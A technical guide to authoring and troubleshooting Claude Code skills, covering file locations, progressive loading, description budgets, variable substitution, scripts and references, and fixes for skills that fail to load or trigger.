• Personal: ~/.claude/skills/<name>/SKILL.md
• Project: .claude/skills/<name>/SKILL.md
• Plugin: <plugin>/skills/<name>/SKILL.md — uses plugin-name:skill-name namespace, cannot conflict

If a command (.claude/commands/) and a skill share the same name, the skill takes precedence.

Nested Directory Discovery

Claude Code automatically discovers skills from .claude/skills/ in subdirectories. Editing a file in packages/frontend/ causes Claude Code to also look for skills in packages/frontend/.claude/skills/. Supports monorepo setups where packages have their own skills.

--add-dir Exception

Skills in .claude/skills/ within an --add-dir directory are loaded automatically and picked up by live change detection. Other .claude/ configuration (subagents, commands, output styles) is not loaded from additional directories.

Progressive Disclosure

Skills load in three stages — only the relevant stage occupies the context window at any given time:

• Level 1 — Metadata (startup): name + description from frontmatter. ~30–100 tokens per skill. Always loaded

unless disable-model-invocation: true, which removes the skill from context entirely.

• Level 2 — Instructions (skill triggered): Full SKILL.md body injected as a single user message. Target under

5,000 tokens.

• Level 3 — Resources (as referenced): Files in references/, scripts/, assets/. Loaded on demand via Read or

Bash. No practical size limit — unused files cost zero tokens.

Description Budget

All skill names are always included in context. Descriptions are loaded up to a character budget:

• Default budget: 1% of context window (fallback: 8,000 characters)
• Each description entry capped at 250 characters regardless of total budget
• At ~250 chars per entry with the 8K fallback: approximately 32 skills before truncation begins
• Override: SLASH_COMMAND_TOOL_CHAR_BUDGET environment variable
• disable-model-invocation: true excludes a skill's description entirely, freeing budget for others

Skill Content Lifecycle

• Skill content enters the conversation as a single message on invocation and stays for the rest of the session
• Claude Code does not re-read the skill file on later turns — write guidance as standing instructions, not one-time

steps

• On auto-compaction: each invoked skill is re-attached (first 5,000 tokens per skill); all re-attached skills share a

combined 25,000-token budget, filled from most-recently-invoked skill first; older skills can be dropped entirely

String Substitutions

All ${...} variables resolve at skill load time — Claude sees the expanded value, not the variable syntax.

• $ARGUMENTS: All arguments passed when invoking. If absent from content, arguments are appended as

ARGUMENTS: <value>.

• $ARGUMENTS[N]: Specific argument by 0-based index. Multi-word values require shell-style quoting at call site.
• $N: Shorthand for $ARGUMENTS[N] ($0, $1, etc.).
• ${CLAUDE_SESSION_ID}: Current session ID. Useful for logging or session-specific files.
• ${CLAUDE_SKILL_DIR}: Absolute path to the skill's own directory. Use in all reference paths so Claude receives

unambiguous paths it can pass directly to the Read tool.

`$ARGUMENTS` example:

Fix GitHub issue $ARGUMENTS following our coding standards.

Running /fix-issue 123 → Claude receives: "Fix GitHub issue 123 following our coding standards."

`${CLAUDE_SKILL_DIR}` example:

For form-filling details, see `${CLAUDE_SKILL_DIR}/references/forms.md`.

Claude receives the expanded absolute path. Use this variable in all reference paths and route-to-reference tables instead of relative paths.

Reference Files

Files in the skill directory that Claude reads on demand via the Read tool.

When to use references:

• Detailed documentation (API specs, schemas)
• Large example collections
• Domain-specific knowledge that applies only sometimes
• Content too large for the SKILL.md instruction core

How to reference: Always use ${CLAUDE_SKILL_DIR} for paths:

For complete API reference, see `${CLAUDE_SKILL_DIR}/references/api.md`.

Depth constraint: Keep references one level deep from SKILL.md. Claude may partially read deeply nested references.

TOC for long references: For reference files longer than ~100 lines, include a table of contents at the top. Claude may preview files with partial reads; a TOC ensures it can assess the full scope before deciding what to read in full.

Critical design rule: Agents do not reliably load references. Put every rule and directive the agent needs in SKILL.md. Use references for content that enriches but is not required for correctness.

Scripts Directory

Executable code Claude runs via Bash tool. Script code does not enter context — only output does.

When to use scripts:

• Deterministic operations (validation, parsing, transformation)
• Operations better expressed in code than prose
• Generating visual output (HTML reports, charts)

Script principles:

• Self-contained or clearly document dependencies
• Handle errors gracefully — include helpful error messages, don't punt to Claude
• Document constants (no magic numbers)

Assets Directory

Static resources Claude references by path but does not load into context (templates, binary files, configuration examples).

Difference from references:

• references/: Text files loaded into context via Read
• assets/: Files manipulated by path only — never loaded into context

Dynamic Context Injection

The ` !<command> ` syntax runs shell commands during skill rendering, before Claude sees any content. Command output replaces the placeholder. This is preprocessing — Claude only sees the final rendered result.

---
name: pr-summary
description: Summarize changes in a pull request
context: fork
agent: Explore
---

## Pull request context
- PR diff: !`gh pr diff`
- Changed files: !`gh pr diff --name-only`

## Your task
Summarize this pull request...

For multi-line commands, use a fenced block opened with `! .

Disable shell injection org-wide: "disableSkillShellExecution": true in managed settings. Each command is replaced with [shell command execution disabled by policy]. Bundled and managed skills are not affected.

Subagent Execution

context: fork runs the skill in an isolated subagent. The skill content becomes the subagent's prompt. The subagent has no access to the parent conversation history.

Warning: context: fork only makes sense for skills with explicit task instructions. A skill containing only guidelines (without an actionable task) will return no meaningful output.

Extended Thinking

Include the word ultrathink anywhere in the skill content to enable extended thinking mode when the skill is active.

Instruction Budget

Frontier models reliably follow ~150–200 instructions total. Claude Code's own system prompt consumes ~50. As loaded instructions increase, instruction-following quality degrades uniformly — not just for later instructions, but for all.

• Keep SKILL.md focused on behavioral directives
• A skill with 40+ behavioral rules approaches the limit of reliable compliance
• Distinguish behavioral rules (must stay in SKILL.md) from catalog/reference content (belongs in references/)

SDK Behavior Differences

When using Skills through the Claude Agent SDK:

• Skills must be filesystem artifacts — no programmatic registration API exists
• Require explicit settingSources: ['user', 'project'] (TS) / setting_sources=["user", "project"] (Python)
• Must include "Skill" in allowedTools to enable the Skill tool
• allowed-tools frontmatter field has no effect — control tool access via SDK's allowedTools option instead
• Default SDK behavior loads no filesystem settings — skills are not discovered unless settingSources is configured

Skill Troubleshooting

Diagnostic guide for skill failures.

Quick Diagnosis

• Skill not found → Structure Issues
• Skill not triggering → Activation Issues
• Wrong output format → Output Issues
• Scripts failing → Script Issues
• References not loading → Reference Issues
• Skill excluded from context → Token Budget Issues
• Skill loads twice or conflicts → Plugin Cache Conflicts

Structure Issues

Skill Not Found

Diagnostic steps:

1. Verify location:

   Personal: ~/.claude/skills/<name>/SKILL.md
   Project: .claude/skills/<name>/SKILL.md
   Plugin: <plugin>/skills/<name>/SKILL.md

2. Verify name matches directory:

   # Directory: .claude/skills/my-skill/
   ---
   name: my-skill  # Must match
   ---

3. Check frontmatter syntax:

   # Valid
   ---
   name: my-skill
   description: Does something
   ---

   # Invalid (missing closing ---)
   ---
   name: my-skill
   description: Does something

4. Check name constraints:

• Lowercase only
• No consecutive hyphens (my--skill invalid)
• No leading/trailing hyphens
• No "anthropic" or "claude" in name

YAML Multiline Description Bug

The skill indexer does not correctly parse YAML multiline block scalars (>-, |, |-, >) in the description field. When these are used, the description may be silently truncated, malformed, or omitted entirely from the <available_skills> list. Claude will never see the skill, and it will not auto-trigger.

Symptom: Skill exists, name is valid, but it never appears in the Skill tool's available skills list.

Affected patterns:

# BROKEN — multiline block scalar
description: >-
  Go language conventions and idioms.
  Invoke whenever task involves Go code.

# BROKEN — literal block
description: |
  Go language conventions and idioms.
  Invoke whenever task involves Go code.

Fix — use a plain string or quoted single-line:

# Safe — plain string (no quotes needed for short descriptions)
description: Go language conventions and idioms. Invoke whenever task involves Go code.

# Safe — double-quoted for longer descriptions
description: "Go language conventions, idioms, and toolchain. Invoke whenever task involves any interaction with Go — writing, reviewing, debugging, or understanding Go code."

If your description must be long, keep it on one line. The budget for <available_skills> is 1% of the context window (fallback: 8,000 characters) — each entry is capped at 250 characters regardless of total budget.

Activation Issues

Native Activation Is Unreliable

Skill auto-activation is inherently unreliable. Independent testing measured 20% activation rates with a simple instruction hook — no better than no hook at all. This is a systemic limitation, not just a description quality issue.

Why it happens: Claude sees skill descriptions in the Skill tool definition and must decide to invoke the tool before proceeding. In practice, Claude often skips this step and proceeds directly with implementation, especially for multi-skill prompts. The selection mechanism is pure LLM reasoning — no algorithmic routing or keyword matching.

Measured rates (Scott Spence, 200+ test runs, Haiku 4.5):

• No hook / simple instruction hook: ~20%
• LLM-eval hook: ~80% (cheaper, faster, but can fail completely on multi-skill prompts)
• Forced-eval hook: ~84% (most consistent; forces YES/NO evaluation per skill before acting)
• Manual /skill-name invocation: 100%

Mitigation strategies:

• Improve descriptions — necessary but not sufficient; optimized descriptions don't break the ~50% systemic ceiling
• Forced-eval hook — UserPromptSubmit hook that makes Claude explicitly state YES/NO for each skill before

proceeding; the commitment mechanism is what drives the improvement

• Manual invocation — /skill-name is always reliable and appropriate for user-triggered-only workflows

Key finding: Simple instruction hooks ("if the prompt matches, use the skill") perform no better than no hook (~20%). The hook must create a structured evaluation and commitment step to be effective.

Skill Not Auto-Triggering

Check description quality:

# Bad — no trigger keywords
description: Helps with code

# Good — domain claim + trigger verbs
description: "Go language conventions, idioms, and toolchain. Invoke whenever task involves any interaction with Go — writing, reviewing, debugging, or understanding Go code."

Check for blocking flag:

# This prevents auto-triggering — also removes description from
# context entirely, so Claude won't see the skill exists
disable-model-invocation: true

Test with explicit invocation: Try /skill-name directly. If that works, the description needs better trigger terms — but keep in mind that even good descriptions hit a ~50% ceiling without a hook.

Skill Triggers Too Often

Add exclusions:

description: "Analyze CSV files for patterns. NOT for text documents, images, or database queries."

Use domain-specific terms:

# Too generic
description: Analyze data

# Specific
description: Statistical analysis of time-series data using pandas

Output Issues

Wrong Format

Add explicit format section:

## Output Format

Return results as:
\`\`\`json
{
  "summary": "[1-2 sentences]",
  "findings": ["finding 1", "finding 2"],
  "confidence": "high|medium|low"
}
\`\`\`

Instructions Ignored

Use clear structure:

## Steps

1. **Validate** — Check input format
2. **Transform** — Apply changes
3. **Verify** — Confirm output

Do not proceed to next step if current step fails.

Move critical instructions to end: Instructions at context end are followed more reliably (recency bias).

Script Issues

Script Won't Run

1. Check executable bit:

   chmod +x scripts/my-script.py

2. Check shebang:

   #!/usr/bin/env python3

3. Test manually:

   python scripts/my-script.py test-input

4. Check dependencies: Are required packages installed?

5. Check path in SKILL.md:

   # Use ${CLAUDE_SKILL_DIR} — resolves to absolute path at load time
   python ${CLAUDE_SKILL_DIR}/scripts/validate.py

Reference Issues

References Not Loading

Use `${CLAUDE_SKILL_DIR}` for all reference paths:

# Good — resolves to absolute path at load time
See `${CLAUDE_SKILL_DIR}/references/guide.md`

# Bad — relative path, ambiguous
See [guide.md](references/guide.md)

# Bad — hardcoded absolute path
See [/full/path/guide.md](/full/path/guide.md)

Keep one level deep:

Good: SKILL.md → references/guide.md

Bad: SKILL.md → references/main.md → references/detail.md

Add explicit read instruction:

Read `${CLAUDE_SKILL_DIR}/references/guide.md` completely before proceeding.

Token Budget Issues

The <available_skills> list has a character budget of 1% of context window (fallback: 8,000 characters). Each entry is capped at 250 characters. When the total exceeds the limit, Claude Code truncates the list — skills that appear late are silently excluded. Claude cannot see excluded skills and will never invoke them.

Symptoms

• Skill exists and has a valid description, but never auto-triggers
• Claude says it doesn't know about a skill you've installed
• Running /context shows "excluded skills" or skills marked as over budget

Diagnosis

1. Run /context in Claude Code — look for excluded skills listed in the output 2. Count loaded skills: each adds ~30-300 characters to the budget depending on description length 3. Long descriptions from multiple skills can exhaust the budget quickly

Fixes

• Shorten descriptions — target under 200 characters per skill; this is the highest-leverage fix
• Move catalog/lookup content from SKILL.md to references — reduces SKILL.md token weight
• Set `disable-model-invocation: true` on rarely-used skills — removes the description from the budget entirely;

skill is only invocable via /skill-name but frees budget for others

• Split overloaded skills into focused, narrower skills with shorter descriptions

Plugin Cache Conflicts

Skills loaded from plugins are discovered from multiple cache locations. If the same plugin is installed in more than one cache location, the skill may be registered twice — causing double-loading, unexpected behavior, or one version shadowing another.

Symptoms

• Skill tool shows duplicate entries for the same skill name
• Running a skill loads unexpected or outdated content
• Plugin update doesn't take effect even after reinstall

Diagnosis

Check the three plugin cache locations Claude Code scans:

# User-level cache
ls ~/.claude/plugins/cache/

# Project-level cache
ls .claude/plugins/cache/

# Global Claude Code cache (platform-dependent)
ls ~/Library/Application\ Support/claude-code/plugins/cache/  # macOS

Look for the same plugin directory appearing in more than one location.

Fixes

• Remove duplicate cache entries — keep only the most recently installed version
• Reinstall cleanly — uninstall the plugin with /plugin uninstall <name> before reinstalling
• Check plugin.json version — if two copies have the same version string, Claude Code may not detect the conflict;

bump the version before reinstalling

Getting Help

When asking for help, provide:

• Full SKILL.md content
• Expected vs. actual behavior
• Exact prompt that failed
• Any error messages
• Output of /context if token budget is suspected